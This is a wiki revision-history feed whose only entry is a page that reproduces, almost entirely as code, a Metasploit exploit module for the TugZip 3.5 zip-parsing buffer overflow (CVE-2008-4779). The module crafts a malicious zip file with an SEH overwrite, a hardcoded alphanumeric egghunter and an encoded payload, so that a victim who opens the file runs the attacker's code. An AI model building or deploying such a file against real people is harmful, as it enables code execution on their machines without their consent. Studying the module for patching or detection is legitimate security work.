<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2008-4779_TugZip_3.5_Zip%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2008-4779 TugZip 3.5 Zip文件解析緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2008-4779_TugZip_3.5_Zip%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2008-4779_TugZip_3.5_Zip%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T22:06:16Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2008-4779_TugZip_3.5_Zip%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=712&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commerc...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2008-4779_TugZip_3.5_Zip%E6%96%87%E4%BB%B6%E8%A7%A3%E6%9E%90%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=712&amp;oldid=prev"/>
		<updated>2021-03-27T03:21:18Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commerc...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# $Id: tugzip.rb 13868 2011-10-11 03:30:14Z sinn3r $&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
##&lt;br /&gt;
# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;
# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;
# Framework web site for more information on licensing and terms of use.&lt;br /&gt;
# http://metasploit.com/framework/&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
require 'rex/zip'&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
 Rank = GoodRanking&lt;br /&gt;
&lt;br /&gt;
 include Msf::Exploit::FILEFORMAT&lt;br /&gt;
&lt;br /&gt;
 def initialize(info = {})&lt;br /&gt;
  super(update_info(info,&lt;br /&gt;
   'Name'           =&amp;gt; 'TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability',&lt;br /&gt;
   'Description'    =&amp;gt; %q{&lt;br /&gt;
     This module exploits a stack-based buffer overflow vulnerability&lt;br /&gt;
    in the latest version 3.5 of TugZip archiving utility.&lt;br /&gt;
    In order to trigger the vulnerability, an attacker must convince someone&lt;br /&gt;
    to load a specially crafted zip file with TugZip by double click or file open.&lt;br /&gt;
    By doing so, an attacker can execute arbitrary code as the victim user.&lt;br /&gt;
   },&lt;br /&gt;
   'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
   'Author'         =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     'Stefan Marin', # Vulnerability discovery&lt;br /&gt;
     'Lincoln', # Corelan team. Original exploit&lt;br /&gt;
     'TecR0c &amp;lt;roccogiovannicalvi[at]gmail.com&amp;gt;', # Metasploit module&lt;br /&gt;
     'mr_me &amp;lt;steventhomasseeley[at]gmail.com&amp;gt;',  # Metasploit module&lt;br /&gt;
    ],&lt;br /&gt;
   'Version'        =&amp;gt; '$Revision: 13868 $',&lt;br /&gt;
   'References'     =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     [ 'OSVDB', '49371' ],&lt;br /&gt;
     [ 'CVE', '2008-4779' ],&lt;br /&gt;
     [ 'BID', '17432' ],&lt;br /&gt;
     [ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]&lt;br /&gt;
    ],&lt;br /&gt;
   'Platform'       =&amp;gt; [ 'win' ],&lt;br /&gt;
   'Payload'        =&amp;gt;&lt;br /&gt;
    {&lt;br /&gt;
     'BadChars'      =&amp;gt; &amp;quot;\x00\x0f\x14\x15\x2f&amp;quot; + (0x80..0xff).to_a.pack('C*'),&lt;br /&gt;
     'DisableNops'   =&amp;gt; true, # no need&lt;br /&gt;
     'EncoderType'   =&amp;gt; Msf::Encoder::Type::AlphanumMixed,&lt;br /&gt;
     'EncoderOptions' =&amp;gt;&lt;br /&gt;
      {&lt;br /&gt;
       'BufferRegister' =&amp;gt; 'EDI', # Egghunter jmp EDI&lt;br /&gt;
      }&lt;br /&gt;
    },&lt;br /&gt;
&lt;br /&gt;
   'Targets'        =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     [&lt;br /&gt;
      'Universal',&lt;br /&gt;
      {&lt;br /&gt;
       'Ret'    =&amp;gt; 0x7e0c307e,&lt;br /&gt;
       # 5.00.2147.1 [ztvcabinet.dll]&lt;br /&gt;
       # POP EBX &amp;gt; POP EBP &amp;gt; RETN&lt;br /&gt;
       'Offset' =&amp;gt; 372, # to nseh&lt;br /&gt;
      }&lt;br /&gt;
     ],&lt;br /&gt;
    ],&lt;br /&gt;
   'DislosureDate' =&amp;gt; 'Oct 28 2008',&lt;br /&gt;
   'DefaultTarget'  =&amp;gt; 0))&lt;br /&gt;
&lt;br /&gt;
   register_options(&lt;br /&gt;
   [&lt;br /&gt;
    OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),&lt;br /&gt;
   ], self.class)&lt;br /&gt;
&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def exploit&lt;br /&gt;
&lt;br /&gt;
  # Hardcoded egghunter due to size limit (before nseh destroyed/130D past seh of usable bytes)&lt;br /&gt;
  # base register ESI&lt;br /&gt;
  hunter = &amp;quot;VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIK9Jzs&amp;quot;&lt;br /&gt;
  hunter &amp;lt;&amp;lt; &amp;quot;rbrRJuRRxzmvNWLWuQJt4ZOnXPwtpTpQdLKJZLoPuzJNO3EXgkOJGA&amp;quot;&lt;br /&gt;
  eggtag = 'w00t' * 2&lt;br /&gt;
&lt;br /&gt;
  getpc_asm = %q{&lt;br /&gt;
   popad&lt;br /&gt;
   popad&lt;br /&gt;
   popad&lt;br /&gt;
   popad&lt;br /&gt;
   popad&lt;br /&gt;
   pop ebx&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  # Align EBX for hunter&lt;br /&gt;
  alignment = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string&lt;br /&gt;
&lt;br /&gt;
  # Align for ESI + factoring mangled chars&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x89\x05&amp;quot;              # jmp short (5 bytes) to 'jmp back' at end&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x5e&amp;quot;                  # pop esi&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x41&amp;quot;                  # nop (inc ecx)&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x98\x99&amp;quot;              # call esi&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x41&amp;quot;                  # nop (inc ecx)&lt;br /&gt;
  alignment &amp;lt;&amp;lt; &amp;quot;\x8a\x94\x98\x98\x98&amp;quot;  # jmp back to pop esi&lt;br /&gt;
&lt;br /&gt;
  getpc_asm = %q{&lt;br /&gt;
   popad&lt;br /&gt;
   pop esp&lt;br /&gt;
   inc eax&lt;br /&gt;
   inc eax&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  # Realign stack pointer&lt;br /&gt;
  nseh = Metasm::Shellcode.assemble(Metasm::Ia32.new, getpc_asm).encode_string&lt;br /&gt;
&lt;br /&gt;
  seh = [target.ret].pack(&amp;quot;V*&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  sploit = rand_text_alpha(target['Offset'])&lt;br /&gt;
  sploit &amp;lt;&amp;lt; nseh &amp;lt;&amp;lt; seh&lt;br /&gt;
  sploit &amp;lt;&amp;lt; alignment&lt;br /&gt;
  sploit &amp;lt;&amp;lt; hunter&lt;br /&gt;
  sploit &amp;lt;&amp;lt; eggtag &amp;lt;&amp;lt; payload.encoded&lt;br /&gt;
&lt;br /&gt;
  zip = Rex::Zip::Archive.new&lt;br /&gt;
  xtra = [0xdac0ffee].pack('V')&lt;br /&gt;
  comment = [0xbadc0ded].pack('V')&lt;br /&gt;
  zip.add_file(sploit, xtra, comment)&lt;br /&gt;
&lt;br /&gt;
  # Create the file&lt;br /&gt;
  print_status(&amp;quot;Creating '#{datastore['FILENAME']}' file...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  file_create(zip.pack)&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>